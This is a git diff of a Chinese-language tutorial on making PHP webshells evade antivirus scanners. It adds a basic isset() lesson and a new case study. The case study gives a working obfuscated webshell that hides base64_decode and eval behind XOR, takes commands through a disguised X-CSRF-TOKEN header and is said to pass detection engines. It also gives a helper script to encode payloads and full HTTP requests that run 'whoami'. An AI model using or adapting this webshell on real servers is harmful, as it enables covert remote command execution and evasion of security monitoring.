|
2 | 2 |
|
3 | 3 | 
|
4 | 4 |
|
5 |
| -**手册版本号:V1.3-20230807** |
| 5 | +**手册版本号:V1.4-20230924** |
6 | 6 |
|
7 | 7 | 这是一本能让你从零开始学习PHP的WebShell免杀的手册,同时我会在内部群迭代更新
|
8 | 8 |
|
@@ -388,6 +388,51 @@ Array
|
388 | 388 | )
|
389 | 389 | ```
|
390 | 390 |
|
| 391 | +### 1.6 isset() |
| 392 | + |
| 393 | +**`isset()` 函数用于检测变量是否已设置并且非 NULL** |
| 394 | + |
| 395 | +isset 在php中用来判断变量是否声明,该函数返回布尔类型的值,即true/false |
| 396 | +isset 只能用于变量,因为传递任何其它参数都将造成解析错误 |
| 397 | + |
| 398 | +Demo: |
| 399 | + |
| 400 | +```php |
| 401 | +$var = ''; |
| 402 | + |
| 403 | +// 结果为 TRUE,所以后边的文本将被打印出来。 |
| 404 | +if (isset($var)) { |
| 405 | + echo "变量已设置。" . PHP_EOL; |
| 406 | +} |
| 407 | + |
| 408 | +// 在后边的例子中,我们将使用 var_dump 输出 isset() 的返回值。 |
| 409 | +// the return value of isset(). |
| 410 | + |
| 411 | +$a = "test"; |
| 412 | +$b = "anothertest"; |
| 413 | + |
| 414 | +var_dump(isset($a)); // TRUE |
| 415 | +var_dump(isset($a, $b)); // TRUE |
| 416 | + |
| 417 | +unset ($a); |
| 418 | + |
| 419 | +var_dump(isset($a)); // FALSE |
| 420 | +var_dump(isset($a, $b)); // FALSE |
| 421 | + |
| 422 | +$foo = NULL; |
| 423 | +var_dump(isset($foo)); // FALSE |
| 424 | +``` |
| 425 | + |
| 426 | +输出: |
| 427 | + |
| 428 | +```php |
| 429 | +bool(true) |
| 430 | +bool(true) |
| 431 | +bool(false) |
| 432 | +bool(false) |
| 433 | +bool(false) |
| 434 | +``` |
| 435 | + |
391 | 436 |
|
392 | 437 | ## 2# 字符串处理类函数
|
393 | 438 |
|
@@ -1488,6 +1533,247 @@ print(response.text)
|
1488 | 1533 |
|
1489 | 1534 | 
|
1490 | 1535 |
|
| 1536 | +### 12.3 样例三 |
| 1537 | + |
| 1538 | +这个免杀马是在近期某大型攻防演练中捕获到的,也是能过一众查杀引擎~ |
| 1539 | +这个样例使用了异或+编解码转换+参数加解密回调+密钥协商的手法,成功规避了语义分析和正则匹配式,具有实战意义 |
| 1540 | + |
| 1541 | +这个WebShell和冰蝎马等具有相似性,各位师傅不妨可以看看原理: |
| 1542 | + |
| 1543 | +```php |
| 1544 | +<?php |
| 1545 | +session_start(); |
| 1546 | + |
| 1547 | +function set_token($v,$t) { |
| 1548 | + $r=""; |
| 1549 | + for ($x=0; $x<strlen($v);$x++) { |
| 1550 | + if(($x+1)%strlen($t)!=0) { |
| 1551 | + $r.=chr(ord(substr($v,$x,$x+1))^ord(substr($t,$x%strlen($t),($x+1) % strlen($t)))); |
| 1552 | + } else { |
| 1553 | + $r.=chr(ord(substr($v,$x,$x+1))^ord(substr($t,$x%strlen($t),16))); |
| 1554 | + } |
| 1555 | + } |
| 1556 | + return $r; |
| 1557 | +} |
| 1558 | + |
| 1559 | +if (isset($_SERVER["HTTP_TOKEN"])) { |
| 1560 | + $t=substr(md5(rand()),16); |
| 1561 | + $_SESSION['token']=$t; |
| 1562 | + header('Token:'.$_SESSION['token']); |
| 1563 | +} else { |
| 1564 | + if(!isset($_SESSION['token'])) { |
| 1565 | + return; |
| 1566 | + } |
| 1567 | + $v=$_SERVER['HTTP_X_CSRF_TOKEN']; |
| 1568 | + $b='DQHNGW'^'&0;+qc'; |
| 1569 | + $b.= '_dec'.chr(111).'de'; |
| 1570 | + $v=$b($v.""); |
| 1571 | + |
| 1572 | + class E { |
| 1573 | + public function __construct($p) { |
| 1574 | + $c=('ZSLQWR'^'82?4af')."_d"."eco".chr(108-8)."e"; |
| 1575 | + $e = $c($p); |
| 1576 | + eval(null.$e.""); |
| 1577 | + } |
| 1578 | + } |
| 1579 | + @new E(set_token($v, $_SESSION['token'])); |
| 1580 | +} |
| 1581 | +``` |
| 1582 | + |
| 1583 | +这个WebShell要如何执行命令呢?共需要三步,请看我细细分析~ |
| 1584 | + |
| 1585 | +首先,这个函数定义了一个函数 `set_token()` 和一个类 `class E`,但我们不着急看,我们先看PHP先执行的部分: |
| 1586 | + |
| 1587 | +```php |
| 1588 | +if (isset($_SERVER["HTTP_TOKEN"])) { |
| 1589 | + $t=substr(md5(rand()),16); |
| 1590 | + $_SESSION['token']=$t; |
| 1591 | + header('Token:'.$_SESSION['token']); |
| 1592 | +} else { |
| 1593 | + if(!isset($_SESSION['token'])) { |
| 1594 | + return; |
| 1595 | + } |
| 1596 | + $v=$_SERVER['HTTP_X_CSRF_TOKEN']; |
| 1597 | + $b='DQHNGW'^'&0;+qc'; |
| 1598 | + $b.= '_dec'.chr(111).'de'; |
| 1599 | + $v=$b($v.""); |
| 1600 | +} |
| 1601 | +``` |
| 1602 | + |
| 1603 | +由1.6讲到的知识点,结合PHP代码可得: |
| 1604 | + |
| 1605 | +>if (!isset($_SESSION['token'])) 这行代码首先检查当前会话(session)中是否存在名为 "token" 的变量。 |
| 1606 | +>$_SESSION 是用于在PHP中存储会话数据的关联数组,通常用于在不同页面之间共享数据。isset函数用于检查变量是否已经被设置,如果变量存在并且有值,返回 true,否则返回 false。 |
| 1607 | + |
| 1608 | +所以根据知识点,我们要先给服务器发一个 `Token` 值,这样就可以进入IF,服务器就会生成一个随机的令牌(token)并将其存储在会话(session)中,并通过HTTP头部返回给客户端 |
| 1609 | + |
| 1610 | +但 `Token` 只需要获取一次就行了,因为服务器生成并返还令牌(token)后,会存在会话(session)中,简单理解就是服务器的内存当中,后续的使用就不要添加`Token` 值了 |
| 1611 | + **【因为如果再获取,令牌(token)又会重新生成,就无法进入else的后续步骤,这一步可能有点绕,不明白的师傅不妨上手实践一下哈哈】** |
| 1612 | + |
| 1613 | +```php |
| 1614 | +$v=$_SERVER['HTTP_X_CSRF_TOKEN']; |
| 1615 | +$b='DQHNGW'^'&0;+qc'; |
| 1616 | +$b.= '_dec'.chr(111).'de'; |
| 1617 | +$v=$b($v.""); |
| 1618 | +``` |
| 1619 | + |
| 1620 | +由8.1讲到的异或和0.1讲到的拼接赋值,以上代码可转化为: |
| 1621 | + |
| 1622 | +```php |
| 1623 | +$v = $_SERVER['HTTP_X_CSRF_TOKEN']; |
| 1624 | +$b = "base64_decode"; |
| 1625 | +$v = $b($v.""); |
| 1626 | +``` |
| 1627 | + |
| 1628 | +意思就是,从HTTP请求头获取名为 "HTTP_X_CSRF_TOKEN" 的值,并进行Base64解密再讲值重新赋给 `$v` |
| 1629 | + |
| 1630 | +接下来我们再来看类 `class E` : |
| 1631 | + |
| 1632 | +```php |
| 1633 | +class E { |
| 1634 | + public function __construct($p) { |
| 1635 | + $c=('ZSLQWR'^'82?4af')."_d"."eco".chr(108-8)."e"; |
| 1636 | + $e = $c($p); |
| 1637 | + eval(null.$e.""); |
| 1638 | + } |
| 1639 | + } |
| 1640 | +``` |
| 1641 | + |
| 1642 | +同样根据相关知识点,我们可以将以上代码转化为以下: |
| 1643 | + |
| 1644 | +```php |
| 1645 | +class E { |
| 1646 | + public function __construct($p) { |
| 1647 | + $c = "base64_decode"; |
| 1648 | + $e = $c($p); |
| 1649 | + eval(null.$e.""); |
| 1650 | + } |
| 1651 | + } |
| 1652 | +``` |
| 1653 | + |
| 1654 | +意思就是类 `class E` 接受一个参数 `$p`,将其通过Base64解密后,放入高危函数 `eval` 内执行 |
| 1655 | + **那我们想要成功执行命令,就必须控制 `$p` 的传入值** |
| 1656 | + |
| 1657 | +那我们看看所谓的 `$p` 是从哪里传入的吧: |
| 1658 | + |
| 1659 | +```php |
| 1660 | +@new E(set_token($v, $_SESSION['token'])); |
| 1661 | +``` |
| 1662 | + |
| 1663 | +由此可知,`$p` 为 `set_token($v, $_SESSION['token'])` 的执行结果,所以我们要控制 `set_token($v, $_SESSION['token'])` 的内容才能成功执行命令 |
| 1664 | + |
| 1665 | +- `$v` 参数:从HTTP请求头获取名为 "HTTP_X_CSRF_TOKEN" 的值,并进行Base64解密再讲值重新赋给 `$v` |
| 1666 | +- `$_SESSION['token']` 参数:给服务器发一个 `TOKEN` 值,会生成一个随机的令牌(token)并将其存储在会话(session)中,并通过HTTP头部返回给客户端 |
| 1667 | + |
| 1668 | +明白了两个参数都是从哪来的之后,我们再来看函数 `set_token()`: |
| 1669 | + |
| 1670 | +```php |
| 1671 | +function set_token($v,$t) { |
| 1672 | + $r=""; |
| 1673 | + for ($x=0; $x<strlen($v);$x++) { |
| 1674 | + if(($x+1)%strlen($t)!=0) { |
| 1675 | + $r.=chr(ord(substr($v,$x,$x+1))^ord(substr($t,$x%strlen($t),($x+1) % strlen($t)))); |
| 1676 | + } else { |
| 1677 | + $r.=chr(ord(substr($v,$x,$x+1))^ord(substr($t,$x%strlen($t),16))); |
| 1678 | + } |
| 1679 | + } |
| 1680 | + return $r; |
| 1681 | +} |
| 1682 | +``` |
| 1683 | + |
| 1684 | +简单来说,函数 `set_token($v, $t)` 就是一个加密算法,作用是根据输入的两个字符串 `$v` 和 `$t`,返回一个新的字符串 `$r` |
| 1685 | +该函数采用异或(XOR)操作对两个字符串的每个字符进行逐一处理,并将结果拼接成新的字符串返回 |
| 1686 | + |
| 1687 | +而返回的 `$r` 变量,最终会传入 `@new E($r)`,进行Base64解密并放入高危函数 `eval` 内执行 |
| 1688 | + |
| 1689 | +打个比方,假设我们想执行系统命令 `whoami`,那 `$r` 变量就应该是 `system('whoami'); ` Base64加密后的字符串 `c3lzdGVtKCd3aG9hbWknKTsg` |
| 1690 | +而 `$r` 变量又是 `set_token($v, $_SESSION['token'])` 的加密结果,看上去很清晰,那目前我们的困境是什么? |
| 1691 | + |
| 1692 | +那就是我们不知道 `$v` 应该传什么值!!!我们目前只知道 `$t=>$_SESSION['token']` 和执行的最终结果 `$r=>c3lzdGVtKCd3aG9hbWknKTsg`,那我们能不能通过这两个变量获得 `$v`呢,当然可以!!! |
| 1693 | + |
| 1694 | +```php |
| 1695 | +<?php |
| 1696 | +function decrypt_token($r, $t) { |
| 1697 | + $v = ""; |
| 1698 | + for ($x = 0; $x < strlen($r); $x++) { |
| 1699 | + if (($x + 1) % strlen($t) != 0) { |
| 1700 | + $v .= chr(ord(substr($r, $x, $x + 1)) ^ ord(substr($t, $x % strlen($t), ($x + 1) % strlen($t)))); |
| 1701 | + } else { |
| 1702 | + $v .= chr(ord(substr($r, $x, $x + 1)) ^ ord(substr($t, $x % strlen($t), 16))); |
| 1703 | + } |
| 1704 | + } |
| 1705 | + return $v; |
| 1706 | +} |
| 1707 | + |
| 1708 | +// 已知的 $t 和 $r 的值 |
| 1709 | +$t = $_POST['token']; //已知的 $t 的值 |
| 1710 | +$r = $_POST['out']; //"c3lzdGVtKCd3aG9hbWknKTsg" 已知的 $r 的值 |
| 1711 | + |
| 1712 | +// 解密已知的 $r 值得到 $v |
| 1713 | +$v = decrypt_token($r, $t); |
| 1714 | +echo base64_encode($v); |
| 1715 | +``` |
| 1716 | + |
| 1717 | +通过编写这么一段代码,调换了一下顺序,就可以通过 `$t=>$_SESSION['token']` 和 `$r=>c3lzdGVtKCd3aG9hbWknKTsg`,拿到参数 `$v` |
| 1718 | + |
| 1719 | +至此,整条利用链已经清晰,我们来复现一下吧: |
| 1720 | + |
| 1721 | +#### 12.3.1 第一步、密钥协商得到Token |
| 1722 | + |
| 1723 | +对WebShell进行发包,`Token` 随便填啥都行 |
| 1724 | + |
| 1725 | +```http |
| 1726 | +GET /muma.php HTTP/1.1 |
| 1727 | +Host: test.ctf.com |
| 1728 | +User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36 |
| 1729 | +Token: 1 |
| 1730 | +Content-Length: 0 |
| 1731 | +
|
| 1732 | +``` |
| 1733 | + |
| 1734 | +在返回包中可以看到服务器生成的 `Token` 值和 `Cookie` 值 |
| 1735 | + |
| 1736 | + |
| 1737 | + |
| 1738 | +#### 12.3.2 第二步,得到X-CSRF-TOKEN |
| 1739 | + |
| 1740 | +假设我们想执行系统命令 `whoami`,PHP代码就是 `system('whoami'); `,对其进行Base64加密后的字符串 `c3lzdGVtKCd3aG9hbWknKTsg`,当然你想执行其他的命令也行哈哈 |
| 1741 | + |
| 1742 | +```http |
| 1743 | +POST /decode.php HTTP/1.1 |
| 1744 | +Host: test.ctf.com |
| 1745 | +Content-Type: application/x-www-form-urlencoded |
| 1746 | +User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36 |
| 1747 | +Content-Length: 0 |
| 1748 | +
|
| 1749 | +token=a2b3fca92539495e&out=c3lzdGVtKCd3aG9hbWknKTsg |
| 1750 | +``` |
| 1751 | + |
| 1752 | +然后通过上文写的解密PHP,通过第一步获得的 `Token` 值和最终Base64加密后的字符串 `c3lzdGVtKCd3aG9hbWknKTsg`,拿到得到 `X-CSRF-TOKEN` |
| 1753 | + |
| 1754 | + |
| 1755 | + |
| 1756 | + **注:这不是对WebShell发包,而是我上面写的解密PHP `decode.php` 来进行解密** |
| 1757 | + |
| 1758 | +#### 12.3.3 第三步,利用木马成功执行命令 |
| 1759 | + |
| 1760 | +现在已经拿到 `X-CSRF-TOKEN` 和 `Cookie` 了,那就直接发包即可 |
| 1761 | + |
| 1762 | +```http |
| 1763 | +POST /muma.php HTTP/1.1 |
| 1764 | +Host: test.ctf.com |
| 1765 | +User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36 |
| 1766 | +Content-Type: application/x-www-form-urlencoded |
| 1767 | +Cookie: PHPSESSID=6g4sgte2t8nnv65u8er5cfdtnq; |
| 1768 | +X-CSRF-TOKEN: AgEOSQIkN015dlcKVX4MDQNlCV0tNxJe |
| 1769 | +Content-Length: 0 |
| 1770 | +
|
| 1771 | +``` |
| 1772 | + |
| 1773 | +可以看到,成功执行系统命令 `whoami` 了 |
| 1774 | + |
| 1775 | + |
| 1776 | + |
1491 | 1777 | 所以你学废了吗?更多有趣的WebShell免杀案例等我后续更新~
|
1492 | 1778 |
|
1493 | 1779 |
|
|
0 commit comments